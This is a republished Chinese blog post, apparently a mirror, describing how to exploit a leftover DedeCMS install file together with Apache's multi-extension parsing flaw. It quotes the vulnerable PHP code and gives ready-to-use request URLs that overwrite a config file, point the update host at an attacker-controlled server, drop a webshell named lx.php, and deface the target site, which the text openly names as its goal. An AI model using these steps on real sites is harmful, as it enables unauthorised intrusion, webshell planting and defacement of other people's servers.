zoukankan      html  css  js  c++  java
  • DeDecms远程写入漏洞webshell (dedecms漏洞)

    解释下Apache解析文件的流程:


    当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个Apache认识的扩展名。如果所有的扩展名Apache都不认识,那么变会按照httpd.conf配置中所指定的方式展示这个问题,一般默认情况下是“text/plain”这种方式。

    那么这样的话,像1.php.bak这样的文件名就会被当做php文件所解析。这也就是传说中的Apache解析漏洞。

    利用条件:首先,是目标站安装完cms后并没有删除install文件夹,漏洞文件为installindex.php.bak 。

    目标站点的Apache存在文件解析漏洞。即index.php.bak文件会被当做PHP脚本解析,代码如下:

    else if($step==11)
    {
    	require_once('../data/admin/config_update.php');
    	$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
    
    	$sql_content = file_get_contents($rmurl);
    	$fp = fopen($install_demo_name,'w');
    	if(fwrite($fp,$sql_content))
    		echo '  <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
    	else
    		echo '  <font color="red">[×]</font> 远程获取失败';
    	unset($sql_content);
    	fclose($fp);
    	exit();
    }
    

    原理:由于远程要包含文件的服务器地址是通过 $updateHost 控制的,那我们首先利用代码来改写../data/admin/config_update.php这个文件,使我们可以自定义 $updateHost的值,那样就可以引用任何我们想要引用的文件啦!

    黑挂网站:

    第一步:随便找一个网站 新建个http://xxx.xxx.xxx.xxx/dedecms/demodata.a.txt

    http://xxx.xxx.xxx.xxx/dedecms/demodata.a.txt
    

    第二步:检测远程更新是否有用,摧毁config_update.php的内容

    http://目标站点/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
    

    第三步:设置$updateHost的值,注入执行脚本等

    http://目标站点/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=lx.php&updateHost=http://存放demodata.a.txt脚本的域名/

    第四步:利用webshell,挂黑目标站点

    shell地址:http://目标站点//install/lx.php

      

     

  • 相关阅读:
    pip解决超时问题(timeout)
    Docker commit使用
    Docker基本命令汇总
    python redis模块详解
    python异步编程之asyncio(百万并发)
    VideoJS 与 Framework7 中 fastclick 冲突问题
    Linux 下解决安装多个node冲突的问题(重新安装node)
    git push multiple repo
    webpack import windows case sensitive
    一键切图 PS 动作 【收藏】
  • 原文地址:https://www.cnblogs.com/feixiablog/p/10399438.html
Copyright © 2011-2022 走看看